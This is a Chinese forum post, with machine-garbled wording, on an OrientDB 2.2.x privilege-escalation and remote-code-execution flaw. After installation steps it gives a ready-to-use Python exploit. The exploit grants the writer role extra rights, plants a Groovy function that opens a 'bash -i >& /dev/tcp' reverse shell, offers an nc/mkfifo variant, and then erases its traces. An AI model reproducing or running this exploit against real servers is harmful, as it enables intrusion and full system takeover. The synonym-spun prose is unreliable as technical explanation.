卓航论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 122|回复: 0
打印 上一主题 下一主题

Oreint DB远程代码可执行破绽漏洞bug曝光

[复制链接]
[至尊红钻1级]发帖数量≥10篇 [未点亮至尊黄钻]威望不足10点 [未点亮至尊蓝钻]在线时间不足10小时 [未点亮至尊绿钻]贡献度不足10点 [未点亮至尊紫钻]金币不足100个 [未点亮至尊粉钻]精华贴数不足10贴 [未点亮至尊黑钻]活跃不足8个
 等级: 
 级别: 注册会员
 UID:  533   [未点亮普号显示]钻石不足3个
 阁 分: 63
 阁 望: 0
 阁 献: 0
 活 跃: 0
 发 贴: 17 (0)
 阁 币: 46  
性 别: I'm 火星人!
阅读权限: 20
在线时长: 0 小时
注册时间: 2018-4-10
最后登录: 2018-4-10
go
楼主
发表于 2018-4-13 09:49:35 |只看该作者 |倒序浏览
本帖发表于 2018-4-13 09:49:35...阅读 123 人...加油,亲爱的楼主:千与千寻
0×01 对付orient db数据库
OrientDB是一个开源NoSQL数据库管理平台。 NoSQL数据库供给了一种用于存储和检索援用除表式数据以外的数据(比方文档数据或图形数据)的NO干系或非干系数据的机制。 NoSQL数据库越来越多地用于大数据和及时Web应用程式。 NoSQL系统平台偶然也被称为“Not Only SQL”,以夸大它们能够支撑相似SQL的查问说话。

OrientDB也属于NoSQL系列。 OrientDB是第二代分布式数据库,具备机动性的文档在一个产物与Apache 2许可证的凋谢源代码。 在OrientDB以前市场上有几个NoSQL数据库,此中一个是MongoDB。
0×01 orient db 数据库的根基知识
步调1 – 下载OrientDB二进制设置文件
下载地点:http://orientdb.com/download社区版和企业版都能够在任何完成虚构机(JVM)的操纵系统平台上运转。 OrientDB必要1.7或更高版本的Java。
步调2 – 解压并装置OrientDB
如下是为分歧操纵系统平台提取和装置OrientDB的进程。在Linux中将orientdb-community-2.1.9.tar.gz文件解压,能够应用如下敕令提取tarred文件。
$ tar –zxvf orientdb-community-2.1.9.tar.gz
应用如下敕令将一切OrientDB库文件从orientdbcommunity-2.1.9挪动到/opt/orientdb/目次。 这里要用sudo
$ sudo mv orientdb-community-2.1.9 /opt/orientdb
应用如下敕令注册orientdb敕令和Orient办事器。
$ export ORIENTDB_HoME = /opt/orientdb$ export PATH = $PATH:$ORIENTDB_HOME/bin
在Windows中将orientdb-community-2.1.9.zip文件解压,将提掏出的文件夹挪动到C:\目次。应用如下给定值创立两个情况变量ORIENTDB_HOME和PATH变量。
ORIENT_HOME = C:orientdb-community-2.1.9
PATH = C:orientdb-community-2.1.9in
步调3 – 设置装备摆设OrientDB办事器作为办事
这里就说下linux的~OrientDB供给了一个名为orientdb.sh的剧本文件,以作为保卫程式运转数据库。在OrientDB装置目次的$ORIENTDB_HOME/bin/orientdb.sh的bin目次中能够找到它。在运转剧本文件以前,编纂orientdb.sh文件以界说两个变量。一个是ORIENTDB_DIR,它界说了装置目次/opt/orientdb的门路,第二个是ORIENTDB_USER,它界说了要运转OrientDB的用户名,如下所示。
ORIENTDB_DIR = "/opt/orientdb"
ORIENTDB_USER = ""
应用如下敕令将orientdb.sh文件复制到/etc/init.d/目次中以初始化和运转剧本。
$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb
应用如下敕令将console.sh文件从OrientDB装置目次$ ORIENTDB_HOME / bin复制到系统平台bin目次(即/ usr / bin)以拜访Orient DB的控制台。
$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb
应用上面的敕令来启动ORIENTDB数据库办事器作为办事。在这里,你必需供给你在orientdb.sh文件说起启动办事器的响应用户的暗码。$ service orientdb start应用如下敕令晓得哪一个PID的OrientDB办事器保卫程式正在运转。$ service orientdb status应用如下敕令结束OrientDB办事器保卫程式。$ service orientdb stop
0×02 破绽bug阐发
1、OrientDB应用RBAC模子结束认证计划。默许情况下,OrientDB有3个脚色:admin, writer and reader。它们的功效与与用户称号所饰演的脚色雷同。对付在办事器上创立的每一个数据库,默许情况下会分派3个用户。
2、用户的权限分派如下:
admin : 拜访数据库上的一切功效,没有任何限定reader: 只读用户。读者能够查问数据库中的任何记载,但不能改动或删除它,也不能拜访外部信息,比方用户和脚色自己的信息。writer: 与reader雷同,但它也能够创立,更新和删除记载。
3、漏洞破绽bug发生道理
管理员经由过程ORole布局处置用户和他们脚色,OrientDB必要oRole读取权限,以容许用户表现用户权限,并使与oRole权限相联系关系的其余查问。
从版本2.2.x及以上版本,只需oRole被查问,fetchplan和order by语句,则不必要此权限请求,并将信息前往给非特权用户。
因为Orient db启用了这些功效 where、fetchplan、order by,招致了OrientDB具备一个能够履行惯例的功效,而且这个groovy封装器没有沙箱结束掩护招致了系统平台功效被拜访,招致咱们能够运任何敕令。
0×03 漏洞破绽bug复现进程
1、起首先肯定版本号,版本号的肯定可由前往头肯定

2、接着咱们拜访 http://Taarget:2480/listDatabases 获得数据库称号,他会前往为一个json列表

3、用writer的身份测验考试Http根基认证,看其能否对数据库可写。假如可写,那末则漏洞破绽bug存在。
检测三部门的权限能否能获得晋升:1)database.class.ouser
检测能否能够作为特权账户操纵数据库
2)database.function
能否启用功效操纵
3)database.function
能否有系统平台的拜访权限
验证办法如下:
payload:http://Target:2480/command/database_name/sql/-/20?format=rid,type,version,class,graph
以POST的办法哀求如下数据:
GRANT execute ON database.class.ouser TO writer
GRANT execute ON database.function TO writer
GRANT execute ON database.systemclusters TO writer
假如胜利履行则能够应用。
上面给出exp:
{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/' + reverse_ip + '/6666 0>&1\';File file = new File(\"hello.sh\");file.delete();file ,"parameters":null}
{C}在目标用bash反弹,当地你能够用nc监听,运转如下敕令:netcat -lp 6666

末了给出PoC:
#! /usr/bin/env python
#-- coding: utf-8 --
# OrientDB
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.asciilowercase + string.digits):
return ''.join(random.choice(chars) for in range(size))
def enum_databases(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']
return database
return False
def check_version(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
headers = req.headers['server']
#print headers
if "2.2" in headers or "3." in headers:
return True
return False
def run_queries(permission,db,content=""):
databases = enum_databases(target)
url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
priv_enable = ["create","read","update","execute","delete"]
#query = "GRANT create ON database.class.ouser TO writer"
for priv in priv_enable:
if permission == "GRANT":
query = "GRANT %s ON %s TO writer"%(priv,db)
else:
query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:
pass
else:
if priv == "execute":
return True
return False
print "[+] %s"%(content)
return True
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
if priv1 and priv2 and priv3:
return True
return False
def exploit(target,port="2480"):
#query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file
func_name = random_function_name()
print func_name
databases = enum_databases(target)
reverse_ip = raw_input('Enter the ip to connect back: ')
query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file
#query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file
req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
if req.status_code == 201:
#print req.status_code
#print req.json()
func_id = req.json()['@rid'].strip("#")
#print func_id
print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
#print req.status_code
#print req.text
if req.status_code == 200:
print "[+] Open netcat at port 8081.."
else:
print "[+] Exploitation failed at last step, try running the script again."
print req.status_code
print req.text
#print "[+] Deleting traces.."
req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
#print req.status_code
#print req.text
def main():
target = sys.argv[1]
#port = sys.argv[1] if sys.argv[1] else 2480
try:
port = sys.argv[2] if sys.argv[2] else 2480
#print port
except:
port = 2480
if priv_escalation(target,port):
exploit(target,port)
else:
print "[+] Target not vulnerable"
main()

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
分享到: QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏0 支持支持0 反对反对0

使用道具 举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1、请认真发帖,禁止回复纯表情,纯数字等无意义的内容!帖子内容不要太简单!
2、提倡文明上网,净化网络环境!抵制低俗不良违法有害信息。
3、每个贴内连续回复请勿多余3贴,每个版面回复请勿多余10贴!
4、如果你对主帖作者的帖子不屑一顾的话,请勿回帖。谢谢合作!

手机版| 百度搜索:vkee.pw

2012-2015 卓航旗下 GMT+8, 2024-5-2 01:51 , Processed in 0.530204 second(s), 32 queries . Powered by Discuz! X3.2  

禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.如遇版权问题,请及时联系站长(QQ:5213513)

今天是: | 本站已经安全运行: //这个地方可以改颜色

快速回复 返回顶部 返回列表